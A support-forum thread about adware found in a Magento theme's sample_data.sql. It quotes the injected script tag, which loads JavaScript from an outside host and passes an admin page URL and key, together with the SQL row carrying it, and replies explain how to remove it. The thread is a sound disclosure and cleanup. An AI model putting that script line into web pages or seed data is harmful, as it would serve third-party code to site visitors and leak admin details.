JM_Crafts sample_data.sql infected with adware

I noticed the following code in my installation, as on the demo as well:

<div id="__tbSetup">&nbsp;</div>
<script type="text/javascript" src="https://secure-content-delivery.com/data.js.php?i={B88CB219-6D5D-41DC-B3EE-6FA1E365D558}&amp;d=2013-07-19&amp;s=http://10.0.0.71/jm_crafts/index.php/admin/cms_page/edit/page_id/2/key/40a99817966bbc5080fe0f77bdafb54d/&amp;cb=0.8139990101198804"></script>

When googling I stumbled upon the following disturbing thread:

http://stackoverflow.com/questions/1…code-come-from

The above script is a functionality of an adware, which appends the above URL

I found the code being shipped with sample_data.sql which comes with the quickstart zip.

Code:

INSERT INTO `#__cms_page` (`page_id`, `title`, `root_template`, `meta_keywords`, `meta_description`, `identifier`, `content_heading`, `content`, `creation_time`, `update_time`, `is_active`, `sort_order`, `layout_update_xml`, `custom_theme`, `custom_root_template`, `custom_layout_update_xml`, `custom_theme_from`, `custom_theme_to`) VALUES
5550-(1, '404 Not Found 1', 'one_column', 'Page keywords', 'Page description', 'no-route', NULL, '<div class="layout-404">rn<div class="image-404"><img src="{{skin url="images/404.png"}}" alt="" /></div>rn<div class="content-404">rn<div class="page-title">rn<h1>Whoops, our bad...</h1>rn</div>rn<dl><dt>The page you requested was not found, and we have a fine guess why.</dt><dd>rn<ul class="disc">rn<li>If you typed the URL directly, please make sure the spelling is correct.</li>rn<li>If you clicked on a link to get here, the link is outdated.</li>rn</ul>rn</dd></dl><dl><dt>What can you do?</dt><dd>Have no fear, help is near! There are many ways you can get back on track with Magento Store.</dd><dd>rn<ul class="disc">rn<li><a onclick="history.go(-1); return false;" href="#">Go back</a> to the previous page.</li>rn<li>Use the search bar at the top of the page to search for your products.</li>rn<li>Follow these links to get you back on track!<br /><a href="{{store url=""}}">Store Home</a> <span class="separator">|</span> <a href="{{store url="customer/account"}}">My Account</a></li>rn</ul>rn</dd></dl></div>rn</div>', '2013-07-16 03:44:15', '2013-07-31 04:18:33', 1, 0, NULL, NULL, NULL, NULL, NULL, NULL),
5551:(2, 'Responsive Magento theme for handmade and craft store', 'one_column', NULL, NULL, 'home', NULL, '<div>&nbsp;</div>rn<div id="__tbSetup">&nbsp;</div>rn<script type="text/javascript" src="https://secure-content-delivery.com/data.js.php?i={B88CB219-6D5D-41DC-B3EE-6FA1E365D558}&amp;d=2013-07-19&amp;s=http://10.0.0.71/jm_crafts/index.php/admin/cms_page/edit/page_id/2/key/40a99817966bbc5080fe0f77bdafb54d/&amp;cb=0.8139990101198804"></script>', '2013-07-16 03:44:15',

Could you guys please elaborate on this finding?

5 answers

Profile photo of Tristan van Bokkem 0.00 $tone November 27, 2013
Public

Ok, the code is simply being removed by editing the "Responsive Magento theme for handmade and craft store" (home) CMS page with the HTML editor option on. Don’t forget to flush the javascript/css cache at System -> Cache Management -> click [Flush Javascript/CSS Cache]

#1
Profile photo of Sherlock 0.00 $tone November 29, 2013
Public

I recommend you to check you development systems for existing adware and remove the lines from every shipped package and send out an update for everyone to download

yeah tristanvanbokkem, I will forward this to the development team for an update into download package

#4

This question is now closed

Written By

Comments